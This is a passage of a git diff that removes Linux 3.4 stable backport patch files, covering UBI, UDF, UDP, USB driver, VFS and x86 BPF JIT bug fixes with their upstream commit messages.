Coverity, CID #711212. - -Signed-off-by: Brian Norris <computersforpeace@gmail.com> -Signed-off-by: Richard Weinberger <richard@nod.at> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/mtd/ubi/eba.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/drivers/mtd/ubi/eba.c -+++ b/drivers/mtd/ubi/eba.c -@@ -1261,7 +1261,8 @@ int ubi_eba_init_scan(struct ubi_device - * during re-size. - */ - ubi_scan_move_to_list(sv, seb, &si->erase); -- vol->eba_tbl[seb->lnum] = seb->pnum; -+ else -+ vol->eba_tbl[seb->lnum] = seb->pnum; - } - } - diff --git a/patches/ubi-initialize-leb-number-variable.patch b/patches/ubi-initialize-leb-number-variable.patch deleted file mode 100644 index a40d07c..0000000 --- a/patches/ubi-initialize-leb-number-variable.patch +++ /dev/null @@ -1,36 +0,0 @@ -From f16db8071ce18819fbd705ddcc91c6f392fb61f8 Mon Sep 17 00:00:00 2001 -From: Brian Norris <computersforpeace@gmail.com> -Date: Sat, 28 Feb 2015 02:23:27 -0800 -Subject: UBI: initialize LEB number variable - -commit f16db8071ce18819fbd705ddcc91c6f392fb61f8 upstream. - -In some of the 'out_not_moved' error paths, lnum may be used -uninitialized. Don't ignore the warning; let's fix it. - -This uninitialized variable doesn't have much visible effect in the end, -since we just schedule the PEB for erasure, and its LEB number doesn't -really matter (it just gets printed in debug messages). But let's get it -straight anyway. - -Coverity CID #113449 - -Signed-off-by: Brian Norris <computersforpeace@gmail.com> -Signed-off-by: Richard Weinberger <richard@nod.at> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/mtd/ubi/wl.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/mtd/ubi/wl.c -+++ b/drivers/mtd/ubi/wl.c -@@ -666,7 +666,7 @@ static int wear_leveling_worker(struct u - int cancel) - { - int err, scrubbing = 0, torture = 0, protect = 0, erroneous = 0; -- int vol_id = -1, uninitialized_var(lnum); -+ int vol_id = -1, lnum = -1; - struct ubi_wl_entry *e1, *e2; - struct ubi_vid_hdr *vid_hdr; - diff --git a/patches/udf-check-length-of-extended-attributes-and-allocation-descriptors.patch b/patches/udf-check-length-of-extended-attributes-and-allocation-descriptors.patch deleted file mode 100644 index 046739c..0000000 --- a/patches/udf-check-length-of-extended-attributes-and-allocation-descriptors.patch +++ /dev/null @@ -1,43 +0,0 @@ -From 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 Mon Sep 17 00:00:00 2001 -From: Jan Kara <jack@suse.cz> -Date: Wed, 7 Jan 2015 13:49:08 +0100 -Subject: udf: Check length of extended attributes and allocation descriptors - -commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream. - -Check length of extended attributes and allocation descriptors when -loading inodes from disk. Otherwise corrupted filesystems could confuse -the code and make the kernel oops. - -Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> -Signed-off-by: Jan Kara <jack@suse.cz> -[lizf: Backported to 3.4: - - call make_bad_inode() and then return - - relace bs with inode->i_sb->s_blocksize] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/udf/inode.c | 13 +++++++++++++ - 1 file changed, 13 insertions(+) - ---- a/fs/udf/inode.c -+++ b/fs/udf/inode.c -@@ -1392,6 +1392,19 @@ static void udf_fill_inode(struct inode - iinfo->i_lenEAttr; - } - -+ /* -+ * Sanity check length of allocation descriptors and extended attrs to -+ * avoid integer overflows -+ */ -+ if (iinfo->i_lenEAttr > inode->i_sb->s_blocksize || iinfo->i_lenAlloc > inode->i_sb->s_blocksize) { -+ make_bad_inode(inode); -+ return; -+ } -+ /* Now do exact checks */ -+ if (udf_file_entry_alloc_offset(inode) + iinfo->i_lenAlloc > inode->i_sb->s_blocksize) { -+ make_bad_inode(inode); -+ return; -+ } - /* Sanity checks for files in ICB so that we don't get confused later */ - if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) { - /* diff --git a/patches/udp-fix-behavior-of-wrong-checksums.patch b/patches/udp-fix-behavior-of-wrong-checksums.patch deleted file mode 100644 index 26a17d3..0000000 --- a/patches/udp-fix-behavior-of-wrong-checksums.patch +++ /dev/null @@ -1,61 +0,0 @@ -From beb39db59d14990e401e235faf66a6b9b31240b0 Mon Sep 17 00:00:00 2001 -From: Eric Dumazet <edumazet@google.com> -Date: Sat, 30 May 2015 09:16:53 -0700 -Subject: udp: fix behavior of wrong checksums - -commit beb39db59d14990e401e235faf66a6b9b31240b0 upstream. - -We have two problems in UDP stack related to bogus checksums : - -1) We return -EAGAIN to application even if receive queue is not empty. - This breaks applications using edge trigger epoll() - -2) Under UDP flood, we can loop forever without yielding to other - processes, potentially hanging the host, especially on non SMP. - -This patch is an attempt to make things better. - -We might in the future add extra support for rt applications -wanting to better control time spent doing a recv() in a hostile -environment. For example we could validate checksums before queuing -packets in socket receive queue. - -Signed-off-by: Eric Dumazet <edumazet@google.com> -Cc: Willem de Bruijn <willemb@google.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/ipv4/udp.c | 6 ++---- - net/ipv6/udp.c | 6 ++---- - 2 files changed, 4 insertions(+), 8 deletions(-) - ---- a/net/ipv4/udp.c -+++ b/net/ipv4/udp.c -@@ -1251,10 +1251,8 @@ csum_copy_err: - UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); - unlock_sock_fast(sk, slow); - -- if (noblock) -- return -EAGAIN; -- -- /* starting over for a new packet */ -+ /* starting over for a new packet, but check if we need to yield */ -+ cond_resched(); - msg->msg_flags &= ~MSG_TRUNC; - goto try_again; - } ---- a/net/ipv6/udp.c -+++ b/net/ipv6/udp.c -@@ -451,10 +451,8 @@ csum_copy_err: - } - unlock_sock_fast(sk, slow); - -- if (noblock) -- return -EAGAIN; -- -- /* starting over for a new packet */ -+ /* starting over for a new packet, but check if we need to yield */ -+ cond_resched(); - msg->msg_flags &= ~MSG_TRUNC; - goto try_again; - } diff --git a/patches/usb-common-otg-fsm-only-signal-connect-after-switching-to-peripheral.patch b/patches/usb-common-otg-fsm-only-signal-connect-after-switching-to-peripheral.patch deleted file mode 100644 index e3eba72..0000000 --- a/patches/usb-common-otg-fsm-only-signal-connect-after-switching-to-peripheral.patch +++ /dev/null @@ -1,79 +0,0 @@ -From 990919cad55a8c38fc73b0a6a0c9e5e4e927a5f8 Mon Sep 17 00:00:00 2001 -From: Peter Chen <peter.chen@freescale.com> -Date: Thu, 12 Mar 2015 09:47:53 +0800 -Subject: usb: common: otg-fsm: only signal connect after switching to - peripheral - -commit 990919cad55a8c38fc73b0a6a0c9e5e4e927a5f8 upstream. - -We should signal connect (pull up dp) after we have already -at peripheral mode, otherwise, the dp may be toggled due to -we reset controller or do disconnect during the initialization -for peripheral, then, the host may be confused during the -enumeration, eg, it finds the reset can't succeed, but the -device is still there, see below error message. - -hub 1-0:1.0: USB hub found -hub 1-0:1.0: 1 port detected -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: Cannot enable port 1. Maybe the USB cable is bad? -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: Cannot enable port 1. Maybe the USB cable is bad? -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: Cannot enable port 1. Maybe the USB cable is bad? -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: cannot reset port 1 (err = -32) -hub 1-0:1.0: Cannot enable port 1. Maybe the USB cable is bad? -hub 1-0:1.0: unable to enumerate USB device on port 1 - -Fixes: the issue existed when the otg fsm code was added. -Signed-off-by: Peter Chen <peter.chen@freescale.com> -Signed-off-by: Felipe Balbi <balbi@ti.com> -[lizf: Backported to 3.4: - - adjust filename - - adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/otg/otg_fsm.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/drivers/usb/otg/otg_fsm.c -+++ b/drivers/usb/otg/otg_fsm.c -@@ -138,9 +138,9 @@ int otg_set_state(struct otg_fsm *fsm, e - break; - case OTG_STATE_B_PERIPHERAL: - otg_chrg_vbus(fsm, 0); -- otg_loc_conn(fsm, 1); - otg_loc_sof(fsm, 0); - otg_set_protocol(fsm, PROTO_GADGET); -+ otg_loc_conn(fsm, 1); - break; - case OTG_STATE_B_WAIT_ACON: - otg_chrg_vbus(fsm, 0); -@@ -200,10 +200,10 @@ int otg_set_state(struct otg_fsm *fsm, e - - break; - case OTG_STATE_A_PERIPHERAL: -- otg_loc_conn(fsm, 1); - otg_loc_sof(fsm, 0); - otg_set_protocol(fsm, PROTO_GADGET); - otg_drv_vbus(fsm, 1); -+ otg_loc_conn(fsm, 1); - break; - case OTG_STATE_A_WAIT_VFALL: - otg_drv_vbus(fsm, 0); diff --git a/patches/usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch b/patches/usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch deleted file mode 100644 index f80f87d..0000000 --- a/patches/usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch +++ /dev/null @@ -1,27 +0,0 @@ -From df72d588c54dad57dabb3cc8a87475d8ed66d806 Mon Sep 17 00:00:00 2001 -From: "John D. Blair" <johnb@candicontrols.com> -Date: Thu, 4 Jun 2015 13:18:19 -0700 -Subject: USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle - -commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream. - -Added the USB serial device ID for the HubZ dual ZigBee -and Z-Wave radio dongle. - -Signed-off-by: John D. Blair <johnb@candicontrols.com> -Signed-off-by: Johan Hovold <johan@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/serial/cp210x.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/drivers/usb/serial/cp210x.c -+++ b/drivers/usb/serial/cp210x.c -@@ -134,6 +134,7 @@ static const struct usb_device_id id_tab - { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ - { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ - { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ -+ { USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */ - { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ - { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ - { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */ diff --git a/patches/usb-cp210x-add-id-for-kcf-technologies-prn-device.patch b/patches/usb-cp210x-add-id-for-kcf-technologies-prn-device.patch deleted file mode 100644 index e20b2e7..0000000 --- a/patches/usb-cp210x-add-id-for-kcf-technologies-prn-device.patch +++ /dev/null @@ -1,27 +0,0 @@ -From c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 Mon Sep 17 00:00:00 2001 -From: Mark Edwards <sonofaforester@gmail.com> -Date: Tue, 14 Apr 2015 08:52:34 -0400 -Subject: USB: cp210x: add ID for KCF Technologies PRN device - -commit c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream. - -Added the USB serial console device ID for KCF Technologies PRN device -which has a USB port for its serial console. - -Signed-off-by: Mark Edwards <sonofaforester@gmail.com> -Signed-off-by: Johan Hovold <johan@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/serial/cp210x.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/drivers/usb/serial/cp210x.c -+++ b/drivers/usb/serial/cp210x.c -@@ -133,6 +133,7 @@ static const struct usb_device_id id_tab - { USB_DEVICE(0x10C4, 0x88A5) }, /* Planet Innovation Ingeni ZigBee USB Device */ - { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ - { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ -+ { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ - { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ - { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ - { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */ diff --git a/patches/usb-musb-core-fix-tx-rx-endpoint-order.patch b/patches/usb-musb-core-fix-tx-rx-endpoint-order.patch deleted file mode 100644 index 14aedeb..0000000 --- a/patches/usb-musb-core-fix-tx-rx-endpoint-order.patch +++ /dev/null @@ -1,114 +0,0 @@ -From e3c93e1a3f35be4cf1493d3ccfb0c6d9209e4922 Mon Sep 17 00:00:00 2001 -From: Felipe Balbi <balbi@ti.com> -Date: Mon, 30 Dec 2013 12:33:53 -0600 -Subject: usb: musb: core: fix TX/RX endpoint order - -commit e3c93e1a3f35be4cf1493d3ccfb0c6d9209e4922 upstream. - -As per Mentor Graphics' documentation, we should -always handle TX endpoints before RX endpoints. - -This patch fixes that error while also updating -some hard-to-read comments which were scattered -around musb_interrupt(). - -This patch should be backported as far back as -possible since this error has been in the driver -since it's conception. - -Signed-off-by: Felipe Balbi <balbi@ti.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/musb/musb_core.c | 44 +++++++++++++++++++++++++------------------ - 1 file changed, 26 insertions(+), 18 deletions(-) - ---- a/drivers/usb/musb/musb_core.c -+++ b/drivers/usb/musb/musb_core.c -@@ -1544,16 +1544,30 @@ irqreturn_t musb_interrupt(struct musb * - (devctl & MUSB_DEVCTL_HM) ? "host" : "peripheral", - musb->int_usb, musb->int_tx, musb->int_rx); - -- /* the core can interrupt us for multiple reasons; docs have -- * a generic interrupt flowchart to follow -+ /** -+ * According to Mentor Graphics' documentation, flowchart on page 98, -+ * IRQ should be handled as follows: -+ * -+ * . Resume IRQ -+ * . Session Request IRQ -+ * . VBUS Error IRQ -+ * . Suspend IRQ -+ * . Connect IRQ -+ * . Disconnect IRQ -+ * . Reset/Babble IRQ -+ * . SOF IRQ (we're not using this one) -+ * . Endpoint 0 IRQ -+ * . TX Endpoints -+ * . RX Endpoints -+ * -+ * We will be following that flowchart in order to avoid any problems -+ * that might arise with internal Finite State Machine. - */ -+ - if (musb->int_usb) - retval |= musb_stage0_irq(musb, musb->int_usb, - devctl, power); - -- /* "stage 1" is handling endpoint irqs */ -- -- /* handle endpoint 0 first */ - if (musb->int_tx & 1) { - if (devctl & MUSB_DEVCTL_HM) - retval |= musb_h_ep0_irq(musb); -@@ -1561,43 +1575,37 @@ irqreturn_t musb_interrupt(struct musb * - retval |= musb_g_ep0_irq(musb); - } - -- /* RX on endpoints 1-15 */ -- reg = musb->int_rx >> 1; -+ reg = musb->int_tx >> 1; - ep_num = 1; - while (reg) { - if (reg & 1) { -- /* musb_ep_select(musb->mregs, ep_num); */ -- /* REVISIT just retval = ep->rx_irq(...) */ - retval = IRQ_HANDLED; - if (devctl & MUSB_DEVCTL_HM) { - if (is_host_capable()) -- musb_host_rx(musb, ep_num); -+ musb_host_tx(musb, ep_num); - } else { - if (is_peripheral_capable()) -- musb_g_rx(musb, ep_num); -+ musb_g_tx(musb, ep_num); - } - } -- - reg >>= 1; - ep_num++; - } - -- /* TX on endpoints 1-15 */ -- reg = musb->int_tx >> 1; -+ reg = musb->int_rx >> 1; - ep_num = 1; - while (reg) { - if (reg & 1) { -- /* musb_ep_select(musb->mregs, ep_num); */ -- /* REVISIT just retval |= ep->tx_irq(...) */ - retval = IRQ_HANDLED; - if (devctl & MUSB_DEVCTL_HM) { - if (is_host_capable()) -- musb_host_tx(musb, ep_num); -+ musb_host_rx(musb, ep_num); - } else { - if (is_peripheral_capable()) -- musb_g_tx(musb, ep_num); -+ musb_g_rx(musb, ep_num); - } - } -+ - reg >>= 1; - ep_num++; - } diff --git a/patches/usb-pl2303-remove-support-for-samsung-i330.patch b/patches/usb-pl2303-remove-support-for-samsung-i330.patch deleted file mode 100644 index 3b9c872..0000000 --- a/patches/usb-pl2303-remove-support-for-samsung-i330.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 48ef23a4f686b1e4519d4193c20d26834ff810ff Mon Sep 17 00:00:00 2001 -From: "Jason A. Donenfeld" <Jason@zx2c4.com> -Date: Wed, 22 Apr 2015 14:35:08 +0200 -Subject: USB: pl2303: Remove support for Samsung I330 - -commit 48ef23a4f686b1e4519d4193c20d26834ff810ff upstream. - -This phone is already supported by the visor driver. - -Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> -Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") -Signed-off-by: Johan Hovold <johan@kernel.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/serial/pl2303.c | 1 - - drivers/usb/serial/pl2303.h | 4 ---- - 2 files changed, 5 deletions(-) - ---- a/drivers/usb/serial/pl2303.c -+++ b/drivers/usb/serial/pl2303.c -@@ -67,7 +67,6 @@ static const struct usb_device_id id_tab - { USB_DEVICE(DCU10_VENDOR_ID, DCU10_PRODUCT_ID) }, - { USB_DEVICE(SITECOM_VENDOR_ID, SITECOM_PRODUCT_ID) }, - { USB_DEVICE(ALCATEL_VENDOR_ID, ALCATEL_PRODUCT_ID) }, -- { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_PRODUCT_ID) }, - { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_SX1) }, - { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X65) }, - { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X75) }, ---- a/drivers/usb/serial/pl2303.h -+++ b/drivers/usb/serial/pl2303.h -@@ -62,10 +62,6 @@ - #define ALCATEL_VENDOR_ID 0x11f7 - #define ALCATEL_PRODUCT_ID 0x02df - --/* Samsung I330 phone cradle */ --#define SAMSUNG_VENDOR_ID 0x04e8 --#define SAMSUNG_PRODUCT_ID 0x8001 -- - #define SIEMENS_VENDOR_ID 0x11f5 - #define SIEMENS_PRODUCT_ID_SX1 0x0001 - #define SIEMENS_PRODUCT_ID_X65 0x0003 diff --git a/patches/usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch b/patches/usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch deleted file mode 100644 index d6d719d..0000000 --- a/patches/usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch +++ /dev/null @@ -1,39 +0,0 @@ -From 1df5b888f54070a373a73b34488cc78c2365b7b4 Mon Sep 17 00:00:00 2001 -From: Patrick Riphagen <patrick.riphagen@xsens.com> -Date: Tue, 19 May 2015 10:03:01 +0200 -Subject: USB: serial: ftdi_sio: Add support for a Motion Tracker Development - Board - -commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream. - -This adds support for new Xsens device, Motion Tracker Development Board, -using Xsens' own Vendor ID - -Signed-off-by: Patrick Riphagen <patrick.riphagen@xsens.com> -Signed-off-by: Johan Hovold <johan@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/serial/ftdi_sio.c | 1 + - drivers/usb/serial/ftdi_sio_ids.h | 1 + - 2 files changed, 2 insertions(+) - ---- a/drivers/usb/serial/ftdi_sio.c -+++ b/drivers/usb/serial/ftdi_sio.c -@@ -723,6 +723,7 @@ static struct usb_device_id id_table_com - { USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) }, - { USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) }, - { USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) }, -+ { USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) }, - { USB_DEVICE(XSENS_VID, XSENS_MTW_PID) }, - { USB_DEVICE(FTDI_VID, FTDI_OMNI1509) }, - { USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) }, ---- a/drivers/usb/serial/ftdi_sio_ids.h -+++ b/drivers/usb/serial/ftdi_sio_ids.h -@@ -155,6 +155,7 @@ - #define XSENS_AWINDA_STATION_PID 0x0101 - #define XSENS_AWINDA_DONGLE_PID 0x0102 - #define XSENS_MTW_PID 0x0200 /* Xsens MTw */ -+#define XSENS_MTDEVBOARD_PID 0x0300 /* Motion Tracker Development Board */ - #define XSENS_CONVERTER_PID 0xD00D /* Xsens USB-serial converter */ - - /* Xsens devices using FTDI VID */ diff --git a/patches/usb-storage-add-no_wp_detect-quirk-for-lacie-059f-0651-devices.patch b/patches/usb-storage-add-no_wp_detect-quirk-for-lacie-059f-0651-devices.patch deleted file mode 100644 index 95904d2..0000000 --- a/patches/usb-storage-add-no_wp_detect-quirk-for-lacie-059f-0651-devices.patch +++ /dev/null @@ -1,33 +0,0 @@ -From 172115090f5e739660b97694618a2ba86457063a Mon Sep 17 00:00:00 2001 -From: Hans de Goede <hdegoede@redhat.com> -Date: Thu, 30 Apr 2015 11:09:44 +0200 -Subject: usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices - -commit 172115090f5e739660b97694618a2ba86457063a upstream. - -Without this flag some versions of these enclosures do not work. - -Reported-and-tested-by: Christian Schaller <cschalle@redhat.com> -Signed-off-by: Hans de Goede <hdegoede@redhat.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/storage/unusual_devs.h | 7 +++++++ - 1 file changed, 7 insertions(+) - ---- a/drivers/usb/storage/unusual_devs.h -+++ b/drivers/usb/storage/unusual_devs.h -@@ -752,6 +752,13 @@ UNUSUAL_DEV( 0x059f, 0x0643, 0x0000, 0x - USB_SC_DEVICE, USB_PR_DEVICE, NULL, - US_FL_GO_SLOW ), - -+/* Reported by Christian Schaller <cschalle@redhat.com> */ -+UNUSUAL_DEV( 0x059f, 0x0651, 0x0000, 0x0000, -+ "LaCie", -+ "External HDD", -+ USB_SC_DEVICE, USB_PR_DEVICE, NULL, -+ US_FL_NO_WP_DETECT ), -+ - /* Submitted by Joel Bourquard <numlock@freesurf.ch> - * Some versions of this device need the SubClass and Protocol overrides - * while others don't. diff --git a/patches/usb-visor-match-i330-phone-more-precisely.patch b/patches/usb-visor-match-i330-phone-more-precisely.patch deleted file mode 100644 index 97f219d..0000000 --- a/patches/usb-visor-match-i330-phone-more-precisely.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d Mon Sep 17 00:00:00 2001 -From: "Jason A. Donenfeld" <Jason@zx2c4.com> -Date: Wed, 22 Apr 2015 14:35:09 +0200 -Subject: USB: visor: Match I330 phone more precisely - -commit 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream. - -Samsung has just released a portable USB3 SSD, coming in a very small -and nice form factor. It's USB ID is 04e8:8001, which unfortunately is -already used by the Palm Visor driver for the Samsung I330 phone cradle. -Having pl2303 or visor pick up this device ID results in conflicts with -the usb-storage driver, which handles the newly released portable USB3 -SSD. - -To work around this conflict, I've dug up a mailing list post [1] from a -long time ago, in which a user posts the full USB descriptor -information. The most specific value in this appears to be the interface -class, which has value 255 (0xff). Since usb-storage requires an -interface class of 0x8, I believe it's correct to disambiguate the two -devices by matching on 0xff inside visor. - -[1] http://permalink.gmane.org/gmane.linux.usb.user/4264 - -Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> -Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") -Signed-off-by: Johan Hovold <johan@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/serial/visor.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/usb/serial/visor.c -+++ b/drivers/usb/serial/visor.c -@@ -101,7 +101,7 @@ static struct usb_device_id id_table [] - .driver_info = (kernel_ulong_t)&palm_os_4_probe }, - { USB_DEVICE(ACER_VENDOR_ID, ACER_S10_ID), - .driver_info = (kernel_ulong_t)&palm_os_4_probe }, -- { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID), -+ { USB_DEVICE_INTERFACE_CLASS(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID, 0xff), - .driver_info = (kernel_ulong_t)&palm_os_4_probe }, - { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SPH_I500_ID), - .driver_info = (kernel_ulong_t)&palm_os_4_probe }, diff --git a/patches/vfs-read-file_handle-only-once-in-handle_to_path.patch b/patches/vfs-read-file_handle-only-once-in-handle_to_path.patch deleted file mode 100644 index 37fae52..0000000 --- a/patches/vfs-read-file_handle-only-once-in-handle_to_path.patch +++ /dev/null @@ -1,40 +0,0 @@ -From 161f873b89136eb1e69477c847d5a5033239d9ba Mon Sep 17 00:00:00 2001 -From: Sasha Levin <sasha.levin@oracle.com> -Date: Wed, 28 Jan 2015 15:30:43 -0500 -Subject: vfs: read file_handle only once in handle_to_path - -commit 161f873b89136eb1e69477c847d5a5033239d9ba upstream. - -We used to read file_handle twice. Once to get the amount of extra -bytes, and once to fetch the entire structure. - -This may be problematic since we do size verifications only after the -first read, so if the number of extra bytes changes in userspace between -the first and second calls, we'll have an incoherent view of -file_handle. - -Instead, read the constant size once, and copy that over to the final -structure without having to re-read it again. - -Signed-off-by: Sasha Levin <sasha.levin@oracle.com> -Cc: Al Viro <viro@zeniv.linux.org.uk> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/fhandle.c | 5 +++-- - 1 file changed, 3 insertions(+), 2 deletions(-) - ---- a/fs/fhandle.c -+++ b/fs/fhandle.c -@@ -198,8 +198,9 @@ static int handle_to_path(int mountdirfd - goto out_err; - } - /* copy the full handle */ -- if (copy_from_user(handle, ufh, -- sizeof(struct file_handle) + -+ *handle = f_handle; -+ if (copy_from_user(&handle->f_handle, -+ &ufh->f_handle, - f_handle.handle_bytes)) { - retval = -EFAULT; - goto out_handle; diff --git a/patches/x86-bpf_jit-fix-compilation-of-large-bpf-programs.patch b/patches/x86-bpf_jit-fix-compilation-of-large-bpf-programs.patch deleted file mode 100644 index 279fdee..0000000 --- a/patches/x86-bpf_jit-fix-compilation-of-large-bpf-programs.patch +++ /dev/null @@ -1,45 +0,0 @@ -From 3f7352bf21f8fd7ba3e2fcef9488756f188e12be Mon Sep 17 00:00:00 2001 -From: Alexei Starovoitov <ast@plumgrid.com> -Date: Fri, 22 May 2015 15:42:55 -0700 -Subject: x86: bpf_jit: fix compilation of large bpf programs - -commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be upstream. - -x86 has variable length encoding. x86 JIT compiler is trying -to pick the shortest encoding for given bpf instruction. -While doing so the jump targets are changing, so JIT is doing -multiple passes over the program. Typical program needs 3 passes. -Some very short programs converge with 2 passes. Large programs -may need 4 or 5. But specially crafted bpf programs may hit the -pass limit and if the program converges on the last iteration -the JIT compiler will be producing an image full of 'int 3' insns. -Fix this corner case by doing final iteration over bpf program. - -Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") -Reported-by: Daniel Borkmann <daniel@iogearbox.net> -Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> -Tested-by: Daniel Borkmann <daniel@iogearbox.net> -Acked-by: Daniel Borkmann <daniel@iogearbox.net> -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/net/bpf_jit_comp.c | 7 ++++++- - 1 file changed, 6 insertions(+), 1 deletion(-) - ---- a/arch/x86/net/bpf_jit_comp.c -+++ b/arch/x86/net/bpf_jit_comp.c -@@ -155,7 +155,12 @@ void bpf_jit_compile(struct sk_filter *f - } - cleanup_addr = proglen; /* epilogue address */ - -- for (pass = 0; pass < 10; pass++) { -+ /* JITed image shrinks with every pass and the loop iterates -+ * until the image stops shrinking. Very large bpf programs -+ * may converge on the last pass. In such case do one more -+ * pass to emit the final image -+ */ -+ for (pass = 0; pass < 10 || image; pass++) { - u8 seen_or_pass0 = (pass == 0) ? (SEEN_XREG | SEEN_DATAREF | SEEN_MEM) : seen; - /* no prologue/epilogue for trivial filters (RET something) */ - proglen = 0; diff --git a/patches/x86-iommu-fix-header-comments-regarding-standard-and-_finish-macros.patch b/patches/x86-iommu-fix-header-comments-regarding-standard-and-_finish-macros.patch deleted file mode 100644 index 6f547ca..0000000 --- a/patches/x86-iommu-fix-header-comments-regarding-standard-and-_finish-macros.patch +++ /dev/null @@ -1,51 +0,0 @@ -From b44915927ca88084a7292e4ddd4cf91036f365e1 Mon Sep 17 00:00:00 2001 -From: Aravind 